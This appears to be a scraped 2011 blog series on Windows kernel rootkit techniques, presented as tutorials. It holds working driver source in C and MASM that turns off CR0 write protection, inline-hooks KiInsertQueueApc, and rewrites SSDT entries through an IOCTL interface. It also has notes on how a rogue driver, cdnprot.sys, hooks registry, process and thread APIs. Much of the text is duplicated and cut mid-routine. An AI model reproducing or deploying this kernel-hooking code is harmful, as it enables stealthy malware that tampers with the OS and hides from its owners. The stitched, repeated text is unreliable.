3)Two-dimensional array is used to save function front byte, Array form is array[15][30];
Each function have 30 bytes usable on 15 function. First save orginal function front byte on 30 bytes, Then write 0xe9, Continue write array current place with original hook function address offset that we already copy bytecode after place among re;atove offset value.
The array effect, when after hook function, execute to finish our hook function, Then need recover original api function, Because original api function front five bytes already is rewrite, function original front byte already save to appropriate array, So there idea is, execute machine code on the array, array machine code execute to the end, jump to original function some offset place, continue to execute.
3. Inline hook
1) IoAllocateMdl
,Allocate one mdl, Hook function is mapping to here.
2) MmProbeAndLockPages, Lock page
3)
do away with write-protect
4) Save function front machine code to homologous two-dimensional array, rewrite front five bytes, Let is jump to start address on .data:00034E98 jump table homologous jump function.
5)
Recover write-protect
6) MmUnlockPages
7) IoFreeMdl
4.
Revover After Inline hook
The example is hook了KiInsertQueueApc, Because KiInsertQueueApc isn't export, need find on KeInsetQueueApc.
#include <ntddk.h>
#include
<ntifs.h>
ULONG g_KiInsertQueueApc;
char g_oricode[8];
ULONG
g_uCr0;
char *non_paged_memory;
void WPOFF()
{
ULONG uAttr;
_asm
{
push eax;
mov eax, cr0;
mov uAttr, eax;
and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
mov cr0, eax;
pop eax;
cli
};
g_uCr0 =
uAttr; //Save original CR0
}
VOID WPON()
{
_asm
{
sti
push eax;
mov eax, g_uCr0; //Recover orginal CR
mov cr0, eax;
pop eax;
};
}
__declspec(naked)
my_function_detour_KiInsertQueueApc()
{
__asm
{
mov edi,edi
push ebp
mov ebp, esp
push ecx
mov eax,ecx
_emit 0xEA
_emit
0xAA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0x08
_emit 0x00
}
}
ULONG
GetFunctionAddr( IN PCWSTR FunctionName)
{
UNICODE_STRING UniCodeFunctionName;
RtlInitUnicodeString(
&UniCodeFunctionName, FunctionName );
return
(ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );
}
//
根据特征值,从KeInsertQueueApc搜索中搜索KiInsertQueueApc
ULONG
FindKiInsertQueueApcAddress()
{
char *
Addr_KeInsertQueueApc = 0;
int i = 0;
char Findcode[] = {
0xE8, 0xcc, 0x29, 0x00, 0x00 };
ULONG Addr_KiInsertQueueApc =
0;
Addr_KeInsertQueueApc = (char *)
GetFunctionAddr(L"KeInsertQueueApc");
for(i = 0; i < 100; i
++)
{
if( Addr_KeInsertQueueApc[i] == Findcode[0]
&&
Addr_KeInsertQueueApc[i + 1] == Findcode[1]
&&
Addr_KeInsertQueueApc[i + 2] == Findcode[2]
&&
Addr_KeInsertQueueApc[i + 3] == Findcode[3]
&&
Addr_KeInsertQueueApc[i + 4] == Findcode[4]
)
{
Addr_KiInsertQueueApc =
(ULONG)&Addr_KeInsertQueueApc[i] + 0x29cc + 5;
break;
}
}
return Addr_KiInsertQueueApc;
}
VOID
DetourFunctionKiInsertQueueApc()
{
char
*actual_function = (char *)g_KiInsertQueueApc;
unsigned long
detour_address;
unsigned long reentry_address;
KIRQL
oldIrql;
int i = 0;
char newcode[] = { 0xEA,
0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 };
reentry_address = ((unsigned long)g_KiInsertQueueApc) + 8;
non_paged_memory = ExAllocatePool(NonPagedPool, 256);
for(i=0;i<256;i++)
{
((unsigned char
*)non_paged_memory)[i] = ((unsigned char
*)my_function_detour_KiInsertQueueApc)[i];
}
detour_address = (unsigned long)non_paged_memory;
*(
(unsigned long *)(&newcode[1]) ) = detour_address;
for(i=0;i<200;i++)
{
if( (0xAA == ((unsigned char
*)non_paged_memory)[i]) &&
(0xAA == ((unsigned char
*)non_paged_memory)[i+1]) &&
(0xAA == ((unsigned
char *)non_paged_memory)[i+2]) &&
(0xAA ==
((unsigned char *)non_paged_memory)[i+3]))
{
*(
(unsigned long *)(&non_paged_memory[i]) ) = reentry_address;
break;
}
}
oldIrql =
KeRaiseIrqlToDpcLevel();
for(i=0;i < 8;i++)
{
g_oricode[i] = actual_function[i];
actual_function[i] =
newcode[i];
}
KeLowerIrql(oldIrql);
}
VOID
UnDetourFunction()
{
char *actual_function = (char
*)g_KiInsertQueueApc;
KIRQL oldIrql;
int i = 0;
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
for(i=0;i < 8;i++)
{
actual_function[i] =
g_oricode[i];
}
KeLowerIrql(oldIrql);
WPON();
ExFreePool(non_paged_memory);
}
VOID
OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("My
Driver Unloaded!");
UnDetourFunction();
}
NTSTATUS
DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DbgPrint("My Driver Loaded!");
theDriverObject->DriverUnload = OnUnload;
g_KiInsertQueueApc = FindKiInsertQueueApcAddress();
DetourFunctionKiInsertQueueApc();
return
STATUS_SUCCESS;
}
Thursday, October 13, 2011
Wednesday, October 12, 2011
Learn and study Rootkit Specials 8: kernel hook - inline hook(1)
Author:combojiang
Recently in order to write rootkit inline hook article, specially disassemble famous rougue software(cdnprot.sys), The file is huge - 152k, Take my some overnight, Let me less watch tv play, The software use many good technology, anyway, Technology isn't wrong itself. Because we talk theme about Inline hook today, only lead everybody watch how he use the technology of inline hook.
What is inline hook, The basic concepts, We won't talk on here, May use google to search.
Inline hook is used very easily and simple on ring3, but this is trouble on ring0,BSOD will show when wrong to use. We talk inline hook on kernel today, Let us watch that how to use.
First talk thinking:
1. One of the preparation before hook:
In total hook fifteen native api function on the software. They are:
ZwOpenKey , ZwClose, ZwQueryValueKey, ZwDeleteKey, ZwSetValueKey, ZwCreateKey,
ZwDeleteValueKey. ZwEnumerateValueKey,ZwRestoreKey, ZwReplaceKey, ZwTerminateProcess, ZwSetSecurityObject, ZwCreateThread, ZwTerminateThread, ZwQuerySystemInformation.
On the fifteen function, include two undocumented function, ZwCreateThread, ZwTerminateThread,The two function need find on export table from ntdll.dll. Other, All native api function finaly realize both on ntoskrnl module, So we use functional 0B number of fuZwQuerySystemInformation, find memory load place of ntoskrnl, Then one by one judge these need hook function address on ssdt table, Whether on place. Ensure to use first.
2. One of the preparation before hook:
1)One global function table, save need hook fifteen function original address.
The table start address: .data:00036860, Ending: data:0003689C 60 bytes in total.
2)One hook function address table, part corresponding to jump of hook fifteen function.
The table start address: .data:00034E98
.data:00034E98 off_34E98 dd offset sub_1EEA8
.data:00034E9C dd offset sub_1EE82
.data:00034EA0 dd offset sub_1EF82
.data:00034EA4 dd offset sub_1EF4A
.data:00034EA8 dd offset sub_1EF6D
.data:00034EAC dd offset sub_1EEC1
.data:00034EB0 dd offset sub_1EED2
.data:00034EB4 dd offset sub_1EEF5
.data:00034EB8 dd offset sub_1EF31
.data:00034EBC dd offset sub_1EF18
.data:00034EC0 dd offset sub_1EF93
.data:00034EC4 dd offset sub_1EFA8
.data:00034EC8 dd offset sub_1EFBD
.data:00034ECC dd offset sub_1EFE6
.data:00034ED0 dd offset sub_1EFFF
The function both realize on cdnprot.sys.
What is inline hook, The basic concepts, We won't talk on here, May use google to search.
Inline hook is used very easily and simple on ring3, but this is trouble on ring0,BSOD will show when wrong to use. We talk inline hook on kernel today, Let us watch that how to use.
First talk thinking:
1. One of the preparation before hook:
In total hook fifteen native api function on the software. They are:
ZwOpenKey , ZwClose, ZwQueryValueKey, ZwDeleteKey, ZwSetValueKey, ZwCreateKey,
ZwDeleteValueKey. ZwEnumerateValueKey,ZwRestoreKey, ZwReplaceKey, ZwTerminateProcess, ZwSetSecurityObject, ZwCreateThread, ZwTerminateThread, ZwQuerySystemInformation.
On the fifteen function, include two undocumented function, ZwCreateThread, ZwTerminateThread,The two function need find on export table from ntdll.dll. Other, All native api function finaly realize both on ntoskrnl module, So we use functional 0B number of fuZwQuerySystemInformation, find memory load place of ntoskrnl, Then one by one judge these need hook function address on ssdt table, Whether on place. Ensure to use first.
2. One of the preparation before hook:
1)One global function table, save need hook fifteen function original address.
The table start address: .data:00036860, Ending: data:0003689C 60 bytes in total.
2)One hook function address table, part corresponding to jump of hook fifteen function.
The table start address: .data:00034E98
.data:00034E98 off_34E98 dd offset sub_1EEA8
.data:00034E9C dd offset sub_1EE82
.data:00034EA0 dd offset sub_1EF82
.data:00034EA4 dd offset sub_1EF4A
.data:00034EA8 dd offset sub_1EF6D
.data:00034EAC dd offset sub_1EEC1
.data:00034EB0 dd offset sub_1EED2
.data:00034EB4 dd offset sub_1EEF5
.data:00034EB8 dd offset sub_1EF31
.data:00034EBC dd offset sub_1EF18
.data:00034EC0 dd offset sub_1EF93
.data:00034EC4 dd offset sub_1EFA8
.data:00034EC8 dd offset sub_1EFBD
.data:00034ECC dd offset sub_1EFE6
.data:00034ED0 dd offset sub_1EFFF
The function both realize on cdnprot.sys.
Tuesday, October 11, 2011
Sorry,Can't update
Because friend come in, So can't update, Sorry.
Monday, October 10, 2011
Too tried, Rest one day.
I am work every day, Too tried, So rest one day.
Sorry.
Sorry.
Sunday, October 9, 2011
Learn and study Rootkit Specials 7: kernel hook - SSDT hook(3)
;**************************************************************************
; Give a index value and function address, Modify ssdt table
;**************************************************************************
HookSSDTByFunIndex proc Value:dword,Index:dword
mov ecx, Index
mov eax, KeServiceDescriptorTable
cmp ecx, [eax+8] ;NumberOfService
jb @f
xor al, al
jmp Quit
@@:
;Put off write-protect
push eax
mov eax, cr0
and eax, 0FFFEFFFFh
mov cr0, eax
pop eax
mov eax, KeServiceDescriptorTable
mov eax, [eax]
mov edx, Value; Value
lea ecx, [eax+ecx*4] ; Target
call InterlockedExchange
;Recover write-protect
push eax
mov eax, cr0
or eax, 10000h
mov cr0, eax
pop eax
Quit:
ret
HookSSDTByFunIndex endp
;**************************************************************************
; hook ZwQuerySystemInfomation,Replace with NtQuerySystemInformation, return original value
;**************************************************************************
HookSSDT proc Value:dword,FunAddr:dword
push eax
;Put off write-protect
mov eax, cr0
and eax, 0FFFEFFFFh
mov cr0, eax
pop eax
mov ecx, KeServiceDescriptorTable
mov eax, FunAddr
mov eax, [eax+1] ;Through ZwQuerySystemInfomation get ssdt index
mov ecx, [ecx] ;ServiceTableBase
mov edx, Value ; Value
lea ecx, [ecx+eax*4] ; Target
call InterlockedExchange
mov ecx, eax
push eax
;recover write-protect
mov eax, cr0
or eax, 10000h
mov cr0, eax
pop eax
mov eax, ecx
ret
HookSSDT endp
SourceString wchar L(<\\DosDevices\\Swk0217\0>)
swkUnLoad proc pDriverObject :dword
LOCAL DestinationString:UNICODE_STRING
push ecx
push ecx
push offset SourceString ; SourceString
lea eax, DestinationString
push eax ; DestinationString
call RtlInitUnicodeString
lea eax, DestinationString
push eax ; SymbolicLinkName
call IoDeleteSymbolicLink
mov eax, pDriverObject
push dword ptr [eax+4] ; DeviceObject
call IoDeleteDevice
ret
swkUnLoad endp
aNtquerysystemi db 'NtQuerySystemInformation',0
DispatchFunction:
push esi
mov esi, [esp+0Ch] ;pIrp
mov eax, [esi+60h] ;Take IRP.CurrentStackLocation
and dword ptr [esi+18h], 0 ;IRP中的IoStatus zero setting,see ntddk.inc
and dword ptr [esi+1Ch], 0
cmp byte ptr [eax], 0Eh ;IO_STACK_LOCATION.MajorFunction
mov edx, [esi+0Ch] ;IRP.AssociatedIrp.SystemBuffer
mov ecx, [eax+8] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
push edi
jnz CreateAndClose
mov eax, [eax+0Ch] ;IoControlCode
cmp eax, 83471060h
jz GetSSDTNum ;Take out ssdt function count
cmp eax, 83471064h
jz GetSSDTFunction ;Take out ssdt function table
cmp eax, 83471068h
jz HookZwQuerySystemInformation ;hook ZwQuerySystemInformation
cmp eax, 8347106Ch
jz RestoreHookSSDT ;Recover front hook ZwQuerySystemInformation
cmp eax, 83471070h
jz ModifySSDTByFunIndex ;in line with user given function address and ssdt table index, modify ssdt table
mov dword ptr [esi+18h], 0C000000Dh ;IoStatus
jmp CreateAndClose
ModifySSDTByFunIndex:
push 8
pop edi
cmp ecx, edi ;Judge InputBufferLength whether equal to 8
jnz CreateAndClose
push dword ptr [edx+4] ;The second dword value on SystemBuffer,represent a ssdt table index
push dword ptr [edx] ;;The first dword value on SystemBuffer,represent given function address
call HookSSDTByFunIndex
test al, al
jz CreateAndClose
mov [esi+1Ch], edi
jmp CreateAndClose
RestoreHookSSDT: ;Recover ssdt table
mov eax, OldSSDTValueOfZwQuerySystemInformation
test eax, eax
jz CreateAndClose
mov ecx, ZwQuerySystemInformation
cmp eax, ecx
jz HaveDone
push ecx
push eax
call HookSSDT
HaveDone:
and OldSSDTValueOfZwQuerySystemInformation, 0
jmp CreateAndClose
HookZwQuerySystemInformation:
call near ptr FunctionArray+0Eh ;execute push 24h, through ZwQuerySystemInformation takce out ntoskrnl.exe memory load address
test eax, eax
jz CreateAndClose
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push eax
call GetProcessFromNtoskrnl
mov ecx, ZwQuerySystemInformation
cmp eax, ecx
jz CreateAndClose
push ecx
push eax
call HookSSDT
mov OldSSDTValueOfZwQuerySystemInformation, eax ;Save function address of original ssdt table
jmp CreateAndClose
GetSSDTFunction:
mov eax, KeServiceDescriptorTable
mov edi, [eax+8] ;NumberOfService
push ebx
mov ebx, edi
shl ebx, 2 ;NumberOfService*4
cmp ecx, ebx ;Compare import length with NumberOfService*4,Judge apply for buffer whether enough
pop ebx
jb CreateAndClose
xor ecx, ecx
test edi, edi
jbe GetSSDTFunctionErr
GetNextSSDTFunction:
mov eax, [eax]
mov eax, [eax+ecx*4]
mov [edx+ecx*4], eax
mov eax, KeServiceDescriptorTable
inc ecx
cmp ecx, [eax+8]
jb GetNextSSDTFunction
GetSSDTFunctionErr:
mov eax, [eax+8]
shl eax, 2
jmp Quit
GetSSDTNum:
push 4
pop eax
cmp ecx, eax ;input length <4 jump
jb CreateAndClose
mov ecx, KeServiceDescriptorTable
mov ecx, [ecx+8] ;NumberOfService
mov [edx], ecx ;edx point IRP.AssociatedIrp.SystemBuffer
Quit:
mov [esi+1Ch], eax
CreateAndClose:
mov edi, [esi+18h] ;IoStatus
xor dl, dl
mov ecx, esi
call IofCompleteRequest
mov eax, edi
pop edi
pop esi
ret
wcharDeviceName wchar L(<\\Device\\Swk0217\0>)
wcharSymbolicLink wchar L(<\\DosDevices\\Swk0217\0>)
start proc DriverObject:dword
LOCAL SymbolicLinkName:UNICODE_STRING
LOCAL DestinationString:UNICODE_STRING
LOCAL DeviceObject:dword
and DeviceObject, 0
push esi
push edi
mov edi, RtlInitUnicodeString
push offset wcharDeviceName ; SourceString
lea eax, DestinationString
push eax ; DestinationString
call edi ; RtlInitUnicodeString
mov esi, DriverObject
lea eax, DeviceObject
push eax ; DeviceObject
push 0 ; Exclusive
push 0 ; DeviceCharacteristics
push 598347h ; DeviceType
lea eax, DestinationString
push eax ; DeviceName
push 0 ; DeviceExtensionSize
push esi ; DriverObject
call IoCreateDevice
test eax, eax
jl @f
push offset wcharSymbolicLink ; SourceString
lea eax, SymbolicLinkName
push eax ; DestinationString
call edi ; RtlInitUnicodeString
lea eax, DestinationString
push eax ; DeviceName
lea eax, SymbolicLinkName
push eax ; SymbolicLinkName
call IoCreateSymbolicLink
mov ecx, offset DispatchFunction
mov [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL
mov [esi+40h], ecx ;IRP_MJ_CLOSE
mov [esi+38h], ecx ;IRP_MJ_CREATE
mov dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad
@@:
pop edi
pop esi
ret
start endp
end start
; Give a index value and function address, Modify ssdt table
;**************************************************************************
HookSSDTByFunIndex proc Value:dword,Index:dword
mov ecx, Index
mov eax, KeServiceDescriptorTable
cmp ecx, [eax+8] ;NumberOfService
jb @f
xor al, al
jmp Quit
@@:
;Put off write-protect
push eax
mov eax, cr0
and eax, 0FFFEFFFFh
mov cr0, eax
pop eax
mov eax, KeServiceDescriptorTable
mov eax, [eax]
mov edx, Value; Value
lea ecx, [eax+ecx*4] ; Target
call InterlockedExchange
;Recover write-protect
push eax
mov eax, cr0
or eax, 10000h
mov cr0, eax
pop eax
Quit:
ret
HookSSDTByFunIndex endp
;**************************************************************************
; hook ZwQuerySystemInfomation,Replace with NtQuerySystemInformation, return original value
;**************************************************************************
HookSSDT proc Value:dword,FunAddr:dword
push eax
;Put off write-protect
mov eax, cr0
and eax, 0FFFEFFFFh
mov cr0, eax
pop eax
mov ecx, KeServiceDescriptorTable
mov eax, FunAddr
mov eax, [eax+1] ;Through ZwQuerySystemInfomation get ssdt index
mov ecx, [ecx] ;ServiceTableBase
mov edx, Value ; Value
lea ecx, [ecx+eax*4] ; Target
call InterlockedExchange
mov ecx, eax
push eax
;recover write-protect
mov eax, cr0
or eax, 10000h
mov cr0, eax
pop eax
mov eax, ecx
ret
HookSSDT endp
SourceString wchar L(<\\DosDevices\\Swk0217\0>)
swkUnLoad proc pDriverObject :dword
LOCAL DestinationString:UNICODE_STRING
push ecx
push ecx
push offset SourceString ; SourceString
lea eax, DestinationString
push eax ; DestinationString
call RtlInitUnicodeString
lea eax, DestinationString
push eax ; SymbolicLinkName
call IoDeleteSymbolicLink
mov eax, pDriverObject
push dword ptr [eax+4] ; DeviceObject
call IoDeleteDevice
ret
swkUnLoad endp
aNtquerysystemi db 'NtQuerySystemInformation',0
DispatchFunction:
push esi
mov esi, [esp+0Ch] ;pIrp
mov eax, [esi+60h] ;Take IRP.CurrentStackLocation
and dword ptr [esi+18h], 0 ;IRP中的IoStatus zero setting,see ntddk.inc
and dword ptr [esi+1Ch], 0
cmp byte ptr [eax], 0Eh ;IO_STACK_LOCATION.MajorFunction
mov edx, [esi+0Ch] ;IRP.AssociatedIrp.SystemBuffer
mov ecx, [eax+8] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
push edi
jnz CreateAndClose
mov eax, [eax+0Ch] ;IoControlCode
cmp eax, 83471060h
jz GetSSDTNum ;Take out ssdt function count
cmp eax, 83471064h
jz GetSSDTFunction ;Take out ssdt function table
cmp eax, 83471068h
jz HookZwQuerySystemInformation ;hook ZwQuerySystemInformation
cmp eax, 8347106Ch
jz RestoreHookSSDT ;Recover front hook ZwQuerySystemInformation
cmp eax, 83471070h
jz ModifySSDTByFunIndex ;in line with user given function address and ssdt table index, modify ssdt table
mov dword ptr [esi+18h], 0C000000Dh ;IoStatus
jmp CreateAndClose
ModifySSDTByFunIndex:
push 8
pop edi
cmp ecx, edi ;Judge InputBufferLength whether equal to 8
jnz CreateAndClose
push dword ptr [edx+4] ;The second dword value on SystemBuffer,represent a ssdt table index
push dword ptr [edx] ;;The first dword value on SystemBuffer,represent given function address
call HookSSDTByFunIndex
test al, al
jz CreateAndClose
mov [esi+1Ch], edi
jmp CreateAndClose
RestoreHookSSDT: ;Recover ssdt table
mov eax, OldSSDTValueOfZwQuerySystemInformation
test eax, eax
jz CreateAndClose
mov ecx, ZwQuerySystemInformation
cmp eax, ecx
jz HaveDone
push ecx
push eax
call HookSSDT
HaveDone:
and OldSSDTValueOfZwQuerySystemInformation, 0
jmp CreateAndClose
HookZwQuerySystemInformation:
call near ptr FunctionArray+0Eh ;execute push 24h, through ZwQuerySystemInformation takce out ntoskrnl.exe memory load address
test eax, eax
jz CreateAndClose
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push eax
call GetProcessFromNtoskrnl
mov ecx, ZwQuerySystemInformation
cmp eax, ecx
jz CreateAndClose
push ecx
push eax
call HookSSDT
mov OldSSDTValueOfZwQuerySystemInformation, eax ;Save function address of original ssdt table
jmp CreateAndClose
GetSSDTFunction:
mov eax, KeServiceDescriptorTable
mov edi, [eax+8] ;NumberOfService
push ebx
mov ebx, edi
shl ebx, 2 ;NumberOfService*4
cmp ecx, ebx ;Compare import length with NumberOfService*4,Judge apply for buffer whether enough
pop ebx
jb CreateAndClose
xor ecx, ecx
test edi, edi
jbe GetSSDTFunctionErr
GetNextSSDTFunction:
mov eax, [eax]
mov eax, [eax+ecx*4]
mov [edx+ecx*4], eax
mov eax, KeServiceDescriptorTable
inc ecx
cmp ecx, [eax+8]
jb GetNextSSDTFunction
GetSSDTFunctionErr:
mov eax, [eax+8]
shl eax, 2
jmp Quit
GetSSDTNum:
push 4
pop eax
cmp ecx, eax ;input length <4 jump
jb CreateAndClose
mov ecx, KeServiceDescriptorTable
mov ecx, [ecx+8] ;NumberOfService
mov [edx], ecx ;edx point IRP.AssociatedIrp.SystemBuffer
Quit:
mov [esi+1Ch], eax
CreateAndClose:
mov edi, [esi+18h] ;IoStatus
xor dl, dl
mov ecx, esi
call IofCompleteRequest
mov eax, edi
pop edi
pop esi
ret
wcharDeviceName wchar L(<\\Device\\Swk0217\0>)
wcharSymbolicLink wchar L(<\\DosDevices\\Swk0217\0>)
start proc DriverObject:dword
LOCAL SymbolicLinkName:UNICODE_STRING
LOCAL DestinationString:UNICODE_STRING
LOCAL DeviceObject:dword
and DeviceObject, 0
push esi
push edi
mov edi, RtlInitUnicodeString
push offset wcharDeviceName ; SourceString
lea eax, DestinationString
push eax ; DestinationString
call edi ; RtlInitUnicodeString
mov esi, DriverObject
lea eax, DeviceObject
push eax ; DeviceObject
push 0 ; Exclusive
push 0 ; DeviceCharacteristics
push 598347h ; DeviceType
lea eax, DestinationString
push eax ; DeviceName
push 0 ; DeviceExtensionSize
push esi ; DriverObject
call IoCreateDevice
test eax, eax
jl @f
push offset wcharSymbolicLink ; SourceString
lea eax, SymbolicLinkName
push eax ; DestinationString
call edi ; RtlInitUnicodeString
lea eax, DestinationString
push eax ; DeviceName
lea eax, SymbolicLinkName
push eax ; SymbolicLinkName
call IoCreateSymbolicLink
mov ecx, offset DispatchFunction
mov [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL
mov [esi+40h], ecx ;IRP_MJ_CLOSE
mov [esi+38h], ecx ;IRP_MJ_CREATE
mov dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad
@@:
pop edi
pop esi
ret
start endp
end start
Saturday, October 8, 2011
Learn and study Rootkit Specials 6: kernel hook - SSDT hook(2)
; Example: ImageName: windows\system32\ndis.sys, So ModuleNameOffset is
0x11
movzx eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,Point offset of name
lea eax, [eax+esi+1Ch] ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffset
push eax ;don't clude path name
call _stricmp
pop ecx ;出栈
pop ecx
test eax, eax
jnz ContinueLoop
mov eax, [esi+8] ;return SYSTEM_MODULE_INFORMATION.Base
mov [ebp-24h], eax ;return save on [ebp-24h]
ReleaseMemory:
push edi
call ExFreePool
jmp ERRORRET
ContinueLoop:
inc dword ptr [ebp-20h] ;Loop variable increas
add esi, 11Ch ;Take next element of SYSTEM_MODULE_INFORMATION type
mov [ebp-2Ch], esi ;Temporary save current SYSTEM_MODULE_INFORMATION element
jmp FORLOOP
SehFunction proc near
mov esp, [ebp-18h]
ERRORRET::
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-24h]
ErrAllocMem::
ret
SehFunction endp
;********************************************************************************************
; Equivalent to GetProcessAddress function, hModule point ntoskrnl.exe module, Find the PE export table,
; Find function address of pFunctionName.
; Operating principle: Traverse export table's AddressOfFunctions, Every take one function address, In line with it index of AddressOfFunctions中的
;Traverse whole AddressOfNames table and AddressOfNameOrdinals table, Find sequence number to matched function with AddressOfFunctions
;contrast function name and import paramter 2 whether identical, The same return current function address from AddressOfFunctions,
;Different continue find ...
;********************************************************************************************
GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword
LOCAL AddressOfNameOrdinals:dword;Function name index talbe
LOCAL AddressOfNames:dword ;Function name address talbe
LOCAL OutputTable:dword ;Export table address
LOCAL AddressOfFunctions:dword ;Point export function address table point
LOCAL pFunctionName:dword ;function name
LOCAL i:dword ;loop variable
LOCAL CurAddressOfNameOrdinals:dword ;Current function name serial number
LOCAL CurAddressOfNames:dword ;Current function address
LOCAL nIndex:dword ;loop variable
LOCAL myFoundOutFunctionName:dword ;Function pointer is found from function address table
LOCAL InputFunctionName:dword ;input function name pointer, point paramter 2
LOCAL SecondCharacterOfFunctionName:byte
LOCAL FirstCharacterOfFunctionName:byte
mov edx, hModule
mov eax, [edx+3Ch]
add eax, edx ; point PEHeader
cmp word ptr [edx], 5A4Dh ; 'MZ'
jnz Quit
cmp dword ptr [eax], 4550h ;'PE'
jnz Quit
mov eax, [eax+78h]
add eax, edx ;point export
mov OutputTable, eax
mov edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames
add edi, edx
mov AddressOfNames, edi
mov esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
add esi, edx
mov AddressOfFunctions, esi
mov ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
add ecx, edx
mov AddressOfNameOrdinals, ecx
and nIndex, 0
mov edx, pFunctionName
StartSearch:
mov ebx, nIndex
cmp ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions
jnb Quit
cmp dword ptr [esi], 0 ;First function addresws judge whether null on AddressOfFunctions
jz NextAddressOfFunction ;If null, Take next function on IMAGE_EXPORT_DIRECTORY.AddressOfFunctions table
mov CurAddressOfNames, edi
mov CurAddressOfNameOrdinals, ecx
and i, 0
StartFindFunctionFromAddressOfNames:
mov ebx, i
cmp ebx, [eax+18h] ;IMAGE_EXPORT_DIRECTORY.NumberOfNames
jnb OutOfRange
mov ebx, CurAddressOfNameOrdinals
movzx ebx, word ptr [ebx]
cmp ebx, nIndex ;Judge index from AddressOfFunctions to get whether fit AddressOfNameOrdinals get index
jnz NextAddressOfNameOrdinals
mov edx, CurAddressOfNames
mov edx, [edx]
add edx, hModule
mov pFunctionName, edx ;Take function name
OutOfRange:
test edx, edx ;Judge whether null
jz ContinueWork
mov myFoundOutFunctionName, edx ;TS function name
mov edx, FunctionName
mov InputFunctionName, edx ;TS imput function name
CompareFunctionName:
mov edx, InputFunctionName
mov dl, [edx]
mov FirstCharacterOfFunctionName, dl
mov ebx, myFoundOutFunctionName
cmp dl, [ebx]
jnz Different ;disaffinity
test dl, dl ;Judge InputFunctionName whether null, if null, return first function address table
jz RetCurrentFunctionAddress
mov edx, InputFunctionName ;Contrast function name next character
mov dl, [edx+1]
mov SecondCharacterOfFunctionName, dl
cmp dl, [ebx+1]
jnz Different
add InputFunctionName, 2
add myFoundOutFunctionName, 2
test dl, dl
jnz CompareFunctionName
RetCurrentFunctionAddress:
xor edx, edx ;edx = 0,mean find correspond function
jmp GetFunctionAddress
NextAddressOfNameOrdinals:
add CurAddressOfNames, 4
add CurAddressOfNameOrdinals, 2
inc i
jmp StartFindFunctionFromAddressOfNames
Different:
sbb edx, edx
sbb edx, 0FFFFFFFFh ;edx = 1,表示没有找到对应的函数,继续找
GetFunctionAddress:
test edx, edx
jnz ContinueWork
mov esi, [esi]
add esi, hModule
mov eax, esi ;return function address
jmp Founded
ContinueWork:
xor edx, edx
mov pFunctionName, edx
NextAddressOfFunction:
add esi, 4
mov AddressOfFunctions, esi
inc nIndex
jmp StartSearch
Quit:
xor eax, eax
Founded:
ret
GetProcessFromNtoskrnl endp
movzx eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,Point offset of name
lea eax, [eax+esi+1Ch] ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffset
push eax ;don't clude path name
call _stricmp
pop ecx ;出栈
pop ecx
test eax, eax
jnz ContinueLoop
mov eax, [esi+8] ;return SYSTEM_MODULE_INFORMATION.Base
mov [ebp-24h], eax ;return save on [ebp-24h]
ReleaseMemory:
push edi
call ExFreePool
jmp ERRORRET
ContinueLoop:
inc dword ptr [ebp-20h] ;Loop variable increas
add esi, 11Ch ;Take next element of SYSTEM_MODULE_INFORMATION type
mov [ebp-2Ch], esi ;Temporary save current SYSTEM_MODULE_INFORMATION element
jmp FORLOOP
SehFunction proc near
mov esp, [ebp-18h]
ERRORRET::
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-24h]
ErrAllocMem::
ret
SehFunction endp
;********************************************************************************************
; Equivalent to GetProcessAddress function, hModule point ntoskrnl.exe module, Find the PE export table,
; Find function address of pFunctionName.
; Operating principle: Traverse export table's AddressOfFunctions, Every take one function address, In line with it index of AddressOfFunctions中的
;Traverse whole AddressOfNames table and AddressOfNameOrdinals table, Find sequence number to matched function with AddressOfFunctions
;contrast function name and import paramter 2 whether identical, The same return current function address from AddressOfFunctions,
;Different continue find ...
;********************************************************************************************
GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword
LOCAL AddressOfNameOrdinals:dword;Function name index talbe
LOCAL AddressOfNames:dword ;Function name address talbe
LOCAL OutputTable:dword ;Export table address
LOCAL AddressOfFunctions:dword ;Point export function address table point
LOCAL pFunctionName:dword ;function name
LOCAL i:dword ;loop variable
LOCAL CurAddressOfNameOrdinals:dword ;Current function name serial number
LOCAL CurAddressOfNames:dword ;Current function address
LOCAL nIndex:dword ;loop variable
LOCAL myFoundOutFunctionName:dword ;Function pointer is found from function address table
LOCAL InputFunctionName:dword ;input function name pointer, point paramter 2
LOCAL SecondCharacterOfFunctionName:byte
LOCAL FirstCharacterOfFunctionName:byte
mov edx, hModule
mov eax, [edx+3Ch]
add eax, edx ; point PEHeader
cmp word ptr [edx], 5A4Dh ; 'MZ'
jnz Quit
cmp dword ptr [eax], 4550h ;'PE'
jnz Quit
mov eax, [eax+78h]
add eax, edx ;point export
mov OutputTable, eax
mov edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames
add edi, edx
mov AddressOfNames, edi
